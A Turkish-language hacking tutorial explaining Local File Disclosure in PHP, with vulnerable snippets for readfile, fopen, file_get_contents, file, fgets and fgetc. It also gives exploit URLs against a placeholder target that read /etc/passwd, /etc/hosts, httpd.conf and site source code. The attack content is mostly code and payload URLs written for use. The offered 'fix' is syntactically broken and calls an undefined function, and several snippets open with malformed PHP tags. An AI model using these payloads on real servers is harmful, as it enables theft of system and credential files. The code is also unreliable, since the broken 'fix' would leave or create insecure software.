KONU: Local File Disclosure

AÇIKLAMA: Local File Disclosure Nedir?Hangi PHP fonksiyonlarından kaynaklanır? Nasıl Kullanılır?

İLETİŞİM: themirkin@hotmail.com // TheMirkin

Author : TheMirkin
Concatct : themirkin@hotmail.com
http://www.janissaries.org
http://www.themirkin.org

Herkese yine merhaba arkadaşlar

Bu sefer ki dokümanımızın konusu

LFD [**Local File Disclosure**] bu bug aslında çok basit bir

işlem sonrasında ortaya çıkmaktadır kişisel scriptler olsun

hazır scriptler olsun genelinde download (indirme)

bölümlerinden kaynaklanan

bir çeşit filtreleme sistemi kullanılmamasından ortaya çıkan

bir çeşit bug tur…

Bu bug türünde ise dosyaları olduğu gibi indirip inceleme fırsatı vermektedir.

Fakat erişim izninin olduğu dizinlerden çekebilirsiniz dosyaları unutmayınız…

LFI gibi etc/passwd gibi işlemleride yaptırabilir durumda olucaksınız

Basit olarak bir iki örnekleme ile sizlere aktaralım konuları arkadaşlar

Bug:

```
<php?
$themirkin = $_GET['themirkin'];
$readfile = readfile($themirkin);
?>
```

Burada Basit bir filtresiz bir işlem yapıldı eee iyide nasıl kullanırız biz bunu dersiniz siz şimdi
:)

KONU: Local File Disclosure

AÇIKLAMA: Local File Disclosure Nedir?Hangi PHP fonksiyonlarından kaynaklanır? Nasıl Kullanılır?

İLETİŞİM: themirkin@hotmail.com // TheMirkin

Hadi açıklayalım biraz daha derinleştirelim konuyu ilgi çekici hale gelmeye başlıyor anlatırken nedense neyse başlı yalım meraklı arkadaşlarım…

Bug Kullanımı :

```
http://www.hedef.com/bug.php?themirkin=janissaries.php
http://www.hedef.com/bug.php?themirkin=/etc/passwd
http://www.hedef.com/bug.php?themirkin=/etc/httpd/config/httpd.conf
http://www.hedef.com/bug.php?themirkin=/etc/hosts
```

Yapmış olduğumuz bu işlem sonucunda **janissaries.php** dosyasının kaynak kodlarını okuyabilme yetkimiz oldu zaten bilgisayarımıza indi okumayı bırak düzenleyin :D

Bug Fixed

```
<?php
$themirkin = preg_replace('/[^a-zA-Z0-9\_]/',",bolumle($_GET[themirkin]));
$readfile = readfile($themirkin);
?>
```

Bu işlem sonucunda filtreleme işlemi gerçekleştirilmiştir Tabiî ki daha sağlıklı filtreleme işlemi yapabilirsiniz

KONU: Local File Disclosure

AÇIKLAMA: Local File Disclosure Nedir?Hangi PHP fonksiyonlarından kaynaklanır? Nasıl Kullanılır?

İLETİŞİM: themirkin@hotmail.com // TheMirkin

Bug'u ortaya çıkaran Fonksiyonlar

1- ReadFile ()

Örnek:

```
<php?
$themirkin = $_GET['themirkin'];
$readfile = readfile($themirkin);
?>
```

Kullanım Şekli:

==========

2- Fopen()

Örnek:

```
<?php
$bug = fopen($_GET['jani'],"r+") or exit("DosyaAcilamiyor");
// Bug Burada : )
while(!feof($bug))
{
echo fgets($bug) ."<br \>";
}
fclose($bug);
?>
```

Kullanım Şekli:

==========

3- file_get_contents()

Örnek:

```
function GetURLContent($url) {
    $bug=file_get_contents($url);
    return $bug;
  }
```

Kullanım Şekli:

64base işe şifreli girişleriniz kolaylaşır ;)

==========

4- file()

Örnek:

```
<?php

$bug =file($_GET['jani']);  // Burada bug başlıyor

print_r($bug);

?>
```

Kullanım Şekli: http://hedef.com/dizin/file.php?file=[Code]

==========

5- fgets()

Örnek:

```
<?php
$bug = fopen($_GET['fgets'],"r+") or exit("DosyaAcilamadi");
while(!feof($bug))
{
echo fgets($bug) . "<br \>";
}
fclose($bug);
?>
```

Kullanım Şekli: http://hedef.com/dizin/fgets.php?fgets=[Code]

==========

6- fgetc()

Örnek:

```
<?php
$bug = fopen($_GET['fgetc'],"r+") or exit("DosyaAcilamadi");
while(!feof($bug))
{
echo fgetc($bug);
}
fclose($bug);
?>
```

Kullanım Şekli: http://hedef.com/dizin/fgetc.php?fgetc=[Code]

==========

KONU: Local File Disclosure

AÇIKLAMA: Local File Disclosure Nedir?Hangi PHP fonksiyonlarından kaynaklanır? Nasıl Kullanılır?

İLETİŞİM: themirkin@hotmail.com // TheMirkin

Author : TheMirkin
Concatct : themirkin@hotmail.com
http://www.janissaries.org
http://www.themirkin.org